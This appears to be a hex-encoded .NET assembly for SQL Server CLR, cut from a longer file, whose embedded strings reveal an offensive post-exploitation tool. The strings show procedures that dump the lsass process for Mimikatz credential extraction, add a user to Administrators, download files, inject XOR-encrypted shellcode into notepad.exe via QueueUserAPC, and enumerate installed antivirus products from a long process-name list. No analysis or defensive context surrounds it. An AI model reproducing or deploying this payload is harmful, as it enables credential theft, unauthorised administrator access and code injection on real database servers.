767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500446C6C496D706F7274417474726962757465004E657461706933322E646C6C0053797374656D2E44617461004D6963726F736F66742E53716C5365727665722E5365727665720053716C436F6E746578740053716C50697065006765745F506970650053656E64005374727563744C61796F7574417474726962757465004C61796F75744B696E640053797374656D2E4E657400576562526571756573740043726561746500487474705765625265717565737400576562526573706F6E736500476574526573706F6E73650048747470576562526573706F6E73650053797374656D2E494F0053747265616D00476574526573706F6E736553747265616D0046696C6553747265616D0046696C654D6F64650042797465005265616400577269746500436C6F73650041626F727400546F537472696E6700537472696E6700436F6E63617400457863657074696F6E0064626768656C702E646C6C0053797374656D2E53656375726974792E5072696E636970616C0057696E646F77734964656E746974790047657443757272656E740057696E646F77735072696E636970616C0057696E646F77734275696C74496E526F6C65004973496E526F6C650046696C650045786973747300466F726D61740044656C6574650052656164416C6C42797465730053797374656D2E494F2E436F6D7072657373696F6E00475A697053747265616D00436F6D7072657373696F6E4D6F64650049446973706F7361626C6500446973706F7365006765745F4D65737361676500496E74507472005A65726F0050726F636573730047657450726F63657373657342794E616D650047657450726F6365737342794964006765745F50726F636573734E616D65006F705F457175616C697479006765745F4964006765745F48616E646C6500496E74333200456E7669726F6E6D656E7400476574456E7669726F6E6D656E745661726961626C650055496E7433320046696C654163636573730046696C655368617265004D6963726F736F66742E57696E33322E5361666548616E646C6573005361666546696C6548616E646C65006765745F5361666546696C6548616E646C65004D6963726F736F66742E57696E33320052656769737472790052656769737472794B6579004C6F63616C4D616368696E65004F70656E5375624B65790047657456616C756500426F6F6C65616E004469726563746F72790053716C50726F63656475726541747472696275746500436F6E7461696E7300436861720053706C6974004B65726E656C3332006B65726E656C33322E646C6C004B65726E656C33322E646C6C006F705F4578706C6963697400436F6E766572740046726F6D426173653634537472696E670053797374656D2E5465787400456E636F64696E67006765745F41534349490047657442797465730044696374696F6E617279603200456E756D657261746F7200476574456E756D657261746F72006765745F43757272656E740053797374656D2E546578742E526567756C617245787072657373696F6E730052656765780052656765784F7074696F6E7300416464004D6F76654E6578740047657450726F6365737365730054727947657456616C756500474300436F6C6C6563740049456E756D657261626C6560310041646452616E676500000000002B5B0058005D0020004500720072006F007200200041006400640069006E00670020005500730065007200002F5B002A005D00200041006400640069006E0067002000550073006500720020007300750063006300650073007300003B5B0058005D0020004500720072006F007200200041006400640069006E0067002000470072006F007500700020004D0065006D00620065007200003F5B002A005D00200041006400640069006E0067002000470072006F007500700020004D0065006D0062006500720020007300750063006300650073007300001D410064006D0069006E006900730074007200610074006F0072007300001D5B0058005D0020004500520052004F00520020004C006F0067003A0000295B002A005D00200044006F0077006E006C006F00610064002000730075006300630065007300730000235B0058005D00200044006F0077006E006C006F006100640020006600610069006C00005D5B0058005D0020004F00750074007000750074002000660069006C006500200027007B0030007D002700200061006C007200650061006400790020006500780069007300740073002C002000720065006D006F00760069006E00670001535B0058005D00200045007800630065007000740069006F006E0020007700680069006C006500200063006F006D007000720065007300730069006E0067002000660069006C0065003A0020007B0030007D00000B6C00730061007300730000270A005B0058005D0045007800630065007000740069006F006E003A0020007B0030007D000A0000610A005B0058005D0020004E006F007400200069006E0020006800690067006800200069006E0074006500670072006900740079002C00200075006E00610062006C006500200074006F0020004D0069006E006900440075006D00700021000A0000590A005B0058005D0020004500720072006F0072002000670065007400740069006E0067002000680061006E0064006C006500200074006F0020007B0030007D00200028007B0031007D0029003A0020007B0032007D000A000015530079007300740065006D0052006F006F007400002B7B0030007D005C00540065006D0070005C00640065006200750067007B0031007D002E006F0075007400002B7B0030007D005C00540065006D0070005C00640065006200750067007B0031007D002E00620069006E00003B0A005B002A005D002000440075006D00700069006E00670020007B0030007D00200028007B0031007D002900200074006F0020007B0032007D0000295B002B005D002000440075006D00700020007300750063006300650073007300660075006C002100004B0A005B002A005D00200043006F006D007000720065007300730069006E00670020007B0030007D00200074006F0020007B0031007D00200067007A00690070002000660069006C00650000215B002A005D002000440065006C006500740069006E00670020007B0030007D000080870A005B002B005D002000440075006D00700069006E006700200063006F006D0070006C0065007400650064002E002000520065006E0061006D0065002000660069006C006500200074006F0020002200640065006200750067007B0030007D002E0067007A002200200074006F0020006400650063006F006D00700072006500730073002E00002D500052004F0043004500530053004F0052005F004100520043004800490054004500430054005500520045000001005953006F006600740077006100720065005C004D006900630072006F0073006F00660074005C00570069006E0064006F007700730020004E0054005C00430075007200720065006E007400560065007200730069006F006E0000077B0030007D000017500072006F0064007500630074004E0061006D00650000370A005B002A005D0020004F007000650072006100740069006E0067002000530079007300740065006D0020003A0020007B0030007D0000355B002A005D002000410072006300680069007400650063007400750072006500200020002000200020003A0020007B0030007D000080B75B002A005D00200055007300650020002200730065006B00750072006C00730061003A003A006D0069006E006900640075006D0070002000640065006200750067002E006F0075007400220020002200730065006B00750072006C00730061003A003A006C006F0067006F006E00500061007300730077006F007200640073002000660075006C006C00220020006F006E0020007400680065002000730061006D00650020004F0053002F0061007200630068000A0000295B0058005D002000440075006D00700020006600610069006C00650064003A0020007B0030007D0000137B0030007D005C00540065006D0070005C0000530A005B0058005D002000440075006D00700020006400690072006500630074006F0072007900200022007B0030007D002200200064006F00650073006E002700740020006500780069007300740021000A00011B63006C0072005F00640075006D0070006C007300610073007300001363006C0072005F0067006500740061007600001763006C0072005F006100640064007500730065007200001963006C0072005F0064006F0077006E006C006F0061006400001963006C0072005F00730063006C006F006100640065007200001B43006F006D006D0061006E00640020006500720072006F00720000335B002B005D00200045006E00630072007900700074005300680065006C006C0063006F00640065003A0020007B0030007D00001F5B002B005D00200058006F0072004B00650079003A0020007B0030007D00003F43003A002F00570069006E0064006F00770073002F00530079007300740065006D00330032002F006E006F00740065007000610064002E0065007800650000395B002B005D00200053007400610072007400500072006F00630065007300730020006E006F00740065007000610064002E0065007800650000315B002B005D0020004F00700065006E00500072006F00630065007300730020005000690064003A0020007B0030007D0000355B002B005D0020005600690072007400750061006C0041006C006C006F0063004500780020005300750063006300650073007300006B5B002B005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200074006F0020005000490044003A0020007B0030007D0020005300750063006300650073007300003B5B002B005D00200068004F00700065006E00500072006F00630065007300730043006C006F00730065002000530075006300630065007300730000670A000A005B002A005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200053007500630063006500730073002C00200065006E006A006F007900210000033A00001F5B002A005D002000460069006E00640069006E0067002E002E002E002E0000412000200020005B003E005D002000700072006F004E0061006D0065003A0020007B0030007D0020006100700070004E0061006D0065003A0020007B0031007D0000555B0021005D0020004E006F00200061006E00740069002D0076006900720075007300200073006F0066007400770061007200650020006F006E002000740068006900730020006D0061006300680069006E00650001175B002A005D002000460069006E006900730068002100002933003600300074007200610079003A00330036003000895B68516B53EB582D009E5BF665DD4FA462012733003600300073006100660065003A00330036003000895B68516B53EB582D003B4E0B7A8F5E01355A006800750044006F006E006700460061006E006700590075003A00330036003000895B68516B53EB582D003B4EA8523296A15F0117330036003000730064003A003300360030004067D26B012761003200670075006100720064003A0061002D0073007100750061007200650064004067D26B0127610064002D00770061007400630068003A004C0061007600610073006F00660074004067D26B012D63006C00650061006E006500720038003A00540068006500200043006C00650061006E00650072004067D26B0121760062006100330032006C006400650072003A0076006200330032004067D26B012D4D006F006E0067006F006F00730061004700550049003A004D006F006E0067006F006F00730061004067D26B014943006F00720061006E007400690043006F006E00740072006F006C00430065006E00740065007200330032003A0043006F00720061006E007400690032003000310032004067D26B012F46002D00500052004F0054003A0046002D00500072006F007400200041006E007400690056006900720075007300012343004D0043005400720061007900490063006F006E003A0043004D0043004067D26B01214B0037005400530065006300750072006900740079003A004B0037004067D26B012755006E005400680072006500610074003A0055006E005400680072006500610074004067D26B015143004B0053006F00660074005300680069006500640041006E00740069007600690072007500730034003A0053006800690065006C006400200041006E0074006900760069007200750073004067D26B013B410056005700610074006300680053006500720076006900630065003A005600490052005500530066006900670068007400650072004067D26B013541007200630061005400610073006B00730053006500720076006900630065003A0041007200630061005600690072004067D26B01216900700074007200610079003A0049006D006D0075006E00650074004067D26B01295000530061006600650053007900730054007200610079003A00500053006100660065004067D26B01276E0073007000750070007300760063003A006E00500072006F0074006500630074004067D26B015D53007000790077006100720065005400650072006D0069006E00610074006F00720053006800690065006C0064003A0053007000790077006100720065005400650072006D0069006E00610074006F007200CD53F4950D8C6F8FF64E012542004B006100760053006500720076006900630065003A0042006B00610076004067D26B01314D0073004D00700045006E0067003A00570069006E0064006F0077007300200044006500660065006E00640065007200001B5300420041004D005300760063003A00560049005000520045000023630063005300760063004800730074003A004E006F00720074006F006E004067D26B011766002D007300650063007500720065003A00B0519B5C011B6100760070003A004B006100730070006500720073006B00790000194B0076004D006F006E00580050003A005F6C116C4067D26B01195200610076004D006F006E0044003A005E741F664067D26B011F4D00630073006800690065006C0064003A004D00630041006600650065000019540062006D006F006E003A004D0063004100660065006500002F4600720061006D00650077006F0072006B0073006500720076006900630065003A004D0063004100660065006500001F65006700750069003A00450053004500540020004E004F00440033003200001F65006B0072006E003A00450053004500540020004E004F0044003300320000296500670075006900500072006F00780079003A00450053004500540020004E004F0044003300320000196B007800650074007200610079003A00D191715CD26B3897011B6B006E007300640074007200610079003A00EF535B724067D26B011954004D0042004D005300520056003A008B8DBF524067D26B012761007600630065006E007400650072003A004100760069007200610028000F5CA27E1E4F2900012561007600670075006100720064003A004100760069007200610028000F5CA27E1E4F290001216100760067006E0074003A004100760069007200610028000F5CA27E1E4F29000121730063006800650064003A004100760069007200610028000F5CA27E1E4F2900012361007300680044006900730070003A0041007600610073007400517FDC7E895B685101197200740076007300630061006E003A00FA8B7F984067D26B0129630063006100700070003A00530079006D0061006E007400650063004E006F00720074006F006E0000274E00500046004D006E0074006F0072003A004E006F00720074006F006E004067D26B6F8FF64E011B630063005300650074004D00670072003A005B8DE895C1944B510127630063005200650067005600660079003A004E006F00720074006F006E004067D26B6F8FF64E01156B0073006100660065003A00D191715C6B53EB58011D51005100500043005200540050003A005100510035751181A17BB65B011D610076006700770064007300760063003A004100560047004067D26B012B5100550048004C0050005300560043003A0051005500490043004B0020004800450041004C004067D26B011B6D0073007300650063006500730073003A00AE5F6F8F4067D26B0129530061007600500072006F00670072006500730073003A0053006F00700068006F0073004067D26B012353006F00700068006F007300550049003A0053006F00700068006F0073004067D26B012353006F00700068006F007300460053003A0053006F00700068006F0073004067D26B012B53006F00700068006F0073004800650061006C00740068003A0053006F00700068006F0073004067D26B013553006F00700068006F0073005300610066006500730074006F0072006500360034003A0053006F00700068006F0073004067D26B012B53006F00700068006F00730043006C00650061006E004D003A0053006F00700068006F0073004067D26B012566007300610076006700750069003A0046002D005300650063007500720065004067D26B01177600730073006500720076003A00D46B7972B568B75F0117720065006D007500700064003A008A712B736B53EB58011946006F0072007400690054007200610079003A00DE9854580117730061006600650064006F0067003A00895B6851D77201177000610072006D006F0072003A0028676C9A4B511F66012149007000610072006D006F0072002E006500780065003A0028676C9A4B511F66011D6200650069006B006500730061006E003A001D8DF358914E895B685101214B00530057006500620053006800690065006C0064003A00D191715C517FFE760123540072006F006A0061006E00480075006E007400650072003A0028676C9A0E734B620115470047003A00E85DFE76517F386E895B6851FE7601176100640061006D003A00FF7E709E895B6851BE7C757001114100530054003A00858DA77EE15D668B012361006E0061006E007700690064006700650074003A00A8580580895B6851134EB65B0121410056004B003A0041006E0074006900560069007200750073004B006900740000256100760067003A00410056004700200041006E00740069002D0056006900720075007300011F7300700069006400650072006E0074003A00440072002E00770065006200002B61007600670061007500720064003A0041007600690072006100200041006E00740069007600690072000021760073006D006F006E003A005A006F006E006500200041006C00610072006D0000156300700066003A0043006F006D006F0064006F0000316F007500740070006F00730074003A004F007500740070006F007300740020004600690072006500770061006C006C00001B7200660077006D00610069006E003A005E741F6632966B709958011B6B0070006600770074007200610079003A00D191715C517F56950121460059004600690072006500570061006C006C003A00CE98914E32966B70995801194D0050004D006F006E003A00AE5FB9703B4EA8523296A15F01137000660077003A002959517F32966B709958012942006100690064007500530064005300760063003A007E76A65E4067D26B2D000D67A152DB8F0B7A012B420061006900640075005300640054007200610079003A007E76A65E4067D26B2D005862D876DB8F0B7A012142006100690064007500530064003A007E76A65E4067D26B2D003B4E0B7A8F5E012D530061006600650044006F00670047007500610072006400430065006E007400650072003A00895B6851D772012F730061006600650064006F006700750070006400610074006500630065006E007400650072003A00895B6851D772012D730061006600650064006F00670067007500610072006400630065006E007400650072003A00895B6851D7720125530061006600650044006F00670053006900740065004900490053003A00895B6851D772011F530061006600650044006F00670054007200610079003A00895B6851D7720127530061006600650044006F006700530065007200760065007200550049003A00895B6851D772012144005F0053006100660065005F004D0061006E006100670065003A004400FE76011764005F006D0061006E006100670065003A004400FE76012F790075006E00730075006F005F006100670065006E0074005F0073006500720076006900630065003A00914E0195012D790075006E00730075006F005F006100670065006E0074005F006400610065006D006F006E003A00914E01950119480077007300500061006E0065006C003A00A4626B535E7901156800770073005F00750069003A00A4626B535E79010F6800770073003A00A4626B535E79011168007700730064003A00A4626B535E790117480069007000730054007200610079003A006B70D27E011B48006900700073004400610065006D006F006E003A006B70D27E0113770073006300740072006C003A006B70D27E0117750073007900730064006900610067003A006B70D27E012153005000480049004E0058003A0053005000480049004E00580032966B70995801236200640064006F0077006E006C006F0061006400650072003A007E76A65E6B53EB5801276200610069006400750061006E007300760078003A007E76A65E6B53EB582D003B4EDB8F0B7A012541007600610073007400550049003A0041007600610073007400210035003B4E0B7A8F5E011F65006D00650074005F006100670065006E0074003A0045004D0045005400002365006D00650074005F0073006500720076006900630065003A0045004D0045005400001D66006900720065007300760063003A004D0063004100660065006500001F660069007200650074007200610079003A004D0063004100660065006500001B6800690070007300760063003A004D0063004100660065006500001D6D006600650076007400700073003A004D006300410066006500650000236D006300610066006500650066006900720065003A004D0063004100660065006500001B7300630061006E00330032003A004D0063004100660065006500001B7300680073007400610074003A004D0063004100660065006500001F76007300740073006B006D00670072003A004D0063004100660065006500002765006E00670069006E0065007300650072007600650072003A004D0063004100660065006500001B6D006600650061006E006E003A004D0063004100660065006500001F6D0063007300630072006900700074003A004D006300410066006500650000217500700064006100740065007200750069003A004D0063004100660065006500001F750064006100740065007200750069003A004D0063004100660065006500001F6E0061007000720064006D00670072003A004D0063004100660065006500001D63006C00650061006E00750070003A004D0063004100660065006500001F63006D0064006100670065006E0074003A004D0063004100660065006500001D660072006D0069006E00730074003A004D0063004100660065006500002B6D0063007300630072006900700074005F0069006E007500730065003A004D0063004100660065006500001B6D00630074007200610079003A004D006300410066006500650000175F00610076007000330032003A006153F45DAF65FA5701175F00610076007000630063003A006153F45DAF65FA5701155F006100760070006D003A006153F45DAF65FA57011761004100760067004100700069003A00410056004700002D610063006B00770069006E00330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013361006C006500720074007300760063003A004E006F00720074006F006E00200041006E007400690056006900720075007300003361006C006F00670073006500720076003A004D00630041006600650065002000560069007200750073005300630061006E00003B61006E00740069002D00740072006F006A0061006E003A0041006E00740069002D00540072006F006A0061006E00200045006C00690074006500013B6100720072003A004100700070006C00690063006100740069006F006E0020005200650071007500650073007400200052006F00750074006500001F61007400670075006100720064003A0041006E0074006900560069007200002F6100740075007000640061007400650072003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D61007400770061007400630068003A004D0075007300740065006B00000F610075003A004E00530049005300002161007500700064006100740065003A00530079006D0061006E0074006500630000476100750074006F002D00700072006F0074006500630074002E006E0061007600380030007400720079003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013D6100750074006F0064006F0077006E003A0041006E00740069005600690072007500730020004100750074006F005500700064006100740065007200001F6100760063006F006E0073006F006C003A004D0063004100660065006500001761007600670063006300330032003A0041005600470000176100760067006300740072006C003A00410056004700001561007600670065006D0063003A0041005600470000156100760067007200730078003A00410056004700001761007600670073006500720076003A004100560047000019610076006700730065007200760039003A00410056004700001161007600670077003A004100560047000033610076006B0070006F0070003A00470020004400410054004100200053004F004600540057004100520045002000410047000035610076006B0073006500720076003A00470020004400410054004100200053004F00460054005700410052004500200041004700003B610076006B0073006500720076006900630065003A00470020004400410054004100200053004F004600540057004100520045002000410047000037610076006B007700630074006C0039003A00470020004400410054004100200053004F004600540057004100520045002000410047000045610076006C0074006D00610069006E003A00500061006E0064006100200053006F006600740077006100720065002000410070006C00690063006100740069006F006E00003B610076006E0074003A0048002B004200450044005600200044006100740065006E0074006500630068006E0069006B00200047006D00620048000035610076007000330032003A004B006100730070006500720073006B007900200041006E00740069002D00560069007200750073000135610076007000630063003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300003B61007600700064006F007300330032003A0020004B006100730070006500720073006B007900200041006E00740069005600690072007500730000336100760070006D003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300003961007600700074006300330032003A0020004B006100730070006500720073006B007900200041006E00740069005600690072007500730000376100760070007500700064003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300001F61007600730079006E006D00670072003A004D0063004100660065006500001B61007600770069006E003A00200048002B00420045004400560000456200610072006700610069006E0073003A004500780061006300740020004100640076006500720074006900730069006E00670020005300700079005700610072006500001962006500610067006C0065003A0041007600610073007400001F62006C00610063006B0064003A0042006C00610063006B00490043004500002362006C00610063006B006900630065003A0042006C00610063006B00490043004500002162006C0069006E006B003A006D006900630072006F006D006500640069006100001B62006C00730073003A00430042006C0061007300740065007200002362006F006F0074007700610072006E003A00530079006D0061006E0074006500630000196200700063003A00470072006F006B0073007400650072000031620072006100730069006C003A004500780061006300740020004100640076006500720074006900730069006E0067000043630063006500760074006D00670072003A004E006F00720074006F006E00200049006E007400650072006E006500740020005300650063007500720069007400790000276300640070003A00430079006200650072004C0069006E006B00200043006F00720070002E0000336300660064003A004D006F007400690076006500200043006F006D006D0075006E00690063006100740069006F006E0073000031630066006700770069007A003A0020004E006F00720074006F006E00200041006E007400690056006900720075007300002963006C0061007700390035003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D63006C006100770039003500630066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012B63006C00650061006E003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E012F63006C00650061006E00650072003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E013163006C00650061006E006500720033003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E012F63006C00650061006E00700063003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E01156300700064003A004D006300410066006500650000256300740072006C003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0121630076003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012364006500660061006C006500720074003A00530079006D0061006E0074006500630000276400650066007300630061006E006700750069003A00530079006D0061006E007400650063000033640065006600770061007400630068003A004E006F00720074006F006E00200041006E007400690076006900720075007300002764006F006F00720073003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01236400700066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011F640070007000730032003A00500061006E0069006300570061007200650000276400730073006100670065006E0074003A00420072006F00640065007200620075006E006400002D6500630065006E00670069006E0065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D65006D00730077003A0041006C00730065007400200049006E006300002365006E0074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D650073007000770061007400630068003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013565007400680065007200650061006C003A0052006100740069006F006E0061006C0043006C006500610072004300610073006500002D6500780065002E0061007600780077003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01296500780070006500720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D66002D00700072006F007400390035003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0121660061006D0065006800330032003A0046002D00530065006300750072006500011B66006100730074003A0020004600610073007400550073007200001D660063006800330032003A0046002D00530065006300750072006500011D660069006800330032003A0046002D005300650063007500720065000123660069006E00640076006900720075003A0046002D0053006500630075007200650001336600690072006500770061006C006C003A0041007300680061006D0070006F006F0053006F00660074007700610072006500001F66006E0072006200330032003A0046002D005300650063007500720065000143660070002D00770069006E003A00200046002D00500072006F007400200041006E00740069007600690072007500730020004F006E00440065006D0061006E006400011B66007300610061003A0046002D00530065006300750072006500011B66007300610076003A0046002D00530065006300750072006500011F6600730061007600330032003A0046002D00530065006300750072006500012B6600730061007600350033003000730074006200790062003A0046002D00530065006300750072006500012B6600730061007600350033003000770074006200790062003A0046002D00530065006300750072006500011F6600730061007600390035003A0046002D00530065006300750072006500011F6600730067006B00330032003A0046002D00530065006300750072006500011D660073006D00330032003A0046002D00530065006300750072006500011F660073006D006100330032003A0046002D00530065006300750072006500011F660073006D006200330032003A0046002D005300650063007500720065000129670062006D0065006E0075003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0117670075006100720064003A0065007700690064006F00001D6700750061007200640064006F0067003A0065007700690064006F000027680074006C006F0067003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F015D68007400700061007400630068003A00530069006C00690063006F006E00200049006E00740065006700720061007400650064002000530079007300740065006D007300200043006F00720070006F0072006100740069006F006E00002568007700700065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011F690061006D006100700070003A00530079006D0061006E007400650063000021690061006D0073006500720076003A00530079006D0061006E007400650063000023690061006D00730074006100740073003A00530079006D0061006E00740065006300002D690065006400720069007600650072003A002000550072006C0062006C0061007A0065002E0063006F006D000039690066006100630065003A00500061006E0064006100200041006E00740069007600690072007500730020004D006F00640075006C006500002569006E006600750073003A0049006E0066007500730020004400690061006C0065007200002B69006E006600770069006E003A004D007300760069006500770070006100720061007300690074006500002969006E007400640065006C003A0049006E00650074002000440065006C0069007600650072007900002969006E007400720065006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01296A0061006D006D00650072003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6B0061007600700066003A004B00610070006500720073006B007900001D6B0061007A007A0061003A004B00610070006500720073006B007900002F6B00650065006E00760061006C00750065003A00450055004E00490056004500520053004500200049004E00430000356C00610075006E0063006800650072003A0049006E0074006500720063006F00720074002000530079007300740065006D00730000276C006400700072006F003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01416C0064007300630061006E003A00570069006E0064006F00770073002000540072006F006A0061006E007300200049006E00730070006500630074006F007200002D6C006F00630061006C006E00650074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6C00750061006C006C003A00530079006D0061006E00740065006300001B6C007500610075003A00530079006D0061006E0074006500630000256C00750063006F006D007300650072007600650072003A004E006F00720074006F006E00001D6D0063006100670065006E0074003A004D0063004100660065006500001F6D0063006D006E00680064006C0072003A004D0063004100660065006500001B6D00630074006F006F006C003A004D0063004100660065006500001F6D0063007500700064006100740065003A004D0063004100660065006500001D6D006300760073007200740065003A004D0063004100660065006500001F6D00630076007300730068006C0064003A004D006300410066006500650000376D00660069006E00330032003A004D007900460072006500650049006E007400650072006E006500740055007000640061007400650000376D0066007700320065006E003A004D007900460072006500650049006E007400650072006E006500740055007000640061007400650000456D006600770065006E00670033002E00300032006400330030003A004D007900460072006500650049006E007400650072006E0065007400550070006400610074006500001F6D006700610076007200740063006C003A004D0063004100660065006500001D6D006700610076007200740065003A004D0063004100660065006500001B6D006700680074006D006C003A004D0063004100660065006500001D6D006700750069003A00420075006C006C0047007500610072006400002B6D0069006E0069006C006F0067003A005A006F006E00650020004C00610062007300200049006E006300001B6D006D006F0064003A0045007A0075006C00610049006E00630000296D006F0073007400610074003A005700750072006C0064004D00650064006900610049006E006300001F6D00700066006100670065006E0074003A004D006300410066006500650000236D007000660073006500720076006900630065003A004D0063004100660065006500001D6D007000660074007200610079003A004D0063004100660065006500005D6D007300630061006300680065003A0049006E00740065006700720061007400650064002000530065006100720063006800200054006500630068006E006F006C006F0067006900650073002000530070007900770061007200650000376D00730063006D0061006E003A004F0064007900730073006500750073004D00610072006B006500740069006E00670049006E00630000396D0073006D00670074003A0054006F00740061006C002000560065006C006F0063006900740079002000530070007900770061007200650000236D0073007600780064003A005700330032002F004400610074006F006D002D00410001296D00770061007400630068003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01276E00610076003A00520065007500740065007200730020004C0069006D00690074006500640000336E0061007600610070007300760063003A004E006F00720074006F006E00200041006E00740069005600690072007500730000336E0061007600610070007700330032003A004E006F00720074006F006E00200041006E007400690056006900720075007300002F6E00610076007700330032003A004E006F00720074006F006E00200041006E00740069007600690072007500730000196E0064006400330032003A00FA8B7F98C178D8763B531F7501336E0065006F00770061007400630068006C006F0067003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6E00650074007500740069006C0073003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6E006900730073006500720076003A004E006F00720074006F006E0000196E006900730075006D003A004E006F00720074006F006E0000196E006D00610069006E003A004E006F00720074006F006E0000336E006F006400330032003A004500530045005400200053006D0061007200740020005300650063007500720069007400790000556E006F00720074006F006E005F0069006E007400650072006E00650074005F0073006500630075005F0033002E0030005F003400300037003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6E006F007400730074006100720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01236E00700072006F0074006500630074003A00530079006D0061006E00740065006300001F6E007000730063006800650063006B003A004E006F00720074006F006E00001B6E00700073007300760063003A004E006F00720074006F006E0000256E007400720074007300630061006E003A008B8DBF52CD53C575D26B945E28750B7A8F5E01236E00750069003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01276F0074006600690078003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6F007500740070006F007300740069006E007300740061006C006C003A004F007500740070006F00730074000015700061007400630068003A008B8DBF52D1798062012570006100760077003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0117700063007300630061006E003A008B8DBF52D1798062012B70006400730065007400750070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013B7000650072007300660077003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C000037700067006D006F006E006900740072003A00500072006F006D0075006C00470061007400650020005300700079005700610072006500002D700069006E0067007300630061006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012970006C006100740069006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012570006F007000330074007200610070003A00500043002D00630069006C006C0069006E00012F70006F00700072006F00780079003A004E006F00720074006F006E0041006E007400690056006900720075007300002B70006F0070007300630061006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F015170006F007700650072007300630061006E003A0049006E00740065006700720061007400650064002000530065006100720063006800200054006500630068006E006F006C006F006700690065007300002D7000700069006E0075007000640074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0127700070007400620063003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012B700070007600730074006F0070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F7000720069007A0065007300750072006600650072003A005000720069007A0065007300750072006600650072000019700072006D0074003A004F007000690053007400610074000019700072006D00760072003A004100640074006F006D0069000037700072006F0063006500730073006D006F006E00690074006F0072003A0053007900730069006E007400650072006E0061006C007300002B700072006F0070006F00720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0123700072006F00740065006300740078003A00500072006F0074006500630074005800002570007300700066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0127700075007200670065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0159710063006F006E0073006F006C0065003A004E006F00720074006F006E00200041006E0074006900560069007200750073002000510075006100720061006E00740069006E006500200043006F006E0073006F006C006500004171007300650072007600650072003A004E006F00720074006F006E00200049006E007400650072006E0065007400200053006500630075007200690074007900001F7200610070006100700070003A0042006C00610063006B00490043004500002372006200330032003A005200610070006900640042006C0061007300740065007200002572006300730079006E0063003A005000720069007A00650053007500720066006500720000217200650061006C006D006F006E003A005200650061006C006D006F006E00200000297200650073006300750065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0129720065007300630075006500330032003A006153F45DAF65FA57924E5480517F895B68515759C588012972007300680065006C006C003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0143720074007600730063006E00390035003A005200650061006C002D00740069006D00650020007600690072007500730020007300630061006E006E00650072002000013D720075006C00610075006E00630068003A004D006300410066006500650020005500730065007200200049006E0074006500720066006100630065000027720075006E003300320064006C006C003A00500041004C002000500043002000530070007900003173006100660065007700650062003A005000530061006600650020005400650063006E006F006C006F00670069006100002F7300620073006500720076003A004E006F00720074006F006E00200041006E007400690076006900720075007300001B7300630072007300630061006E003A003300360030004067D26B012F7300660063003A00530079007300740065006D002000660069006C006500200063006800650063006B0065007200002F730068003A004D004B005300200054006F006F006C006B0069007400200066006F0072002000570069006E0033000059730068006F00770062006500680069006E0064003A004D006900630072006F0053006D006100720074007300200045006E0074006500720070007200690073006500200043006F006D0070006F006E0065006E0074002000002973006F00610070003A00530079007300740065006D00200053006F00610070002000500072006F00002573006F00660069003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012773007000650072006D003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F73007500700070006F00720074006500720035003A006500530063006F0072006300680065007200CD53C575D26B0129730079006D00700072006F00780079007300760063003A00530079006D0061006E007400650063000021730079006D0074007200610079003A00530079006D0061006E007400650063000025740062007300630061006E003A00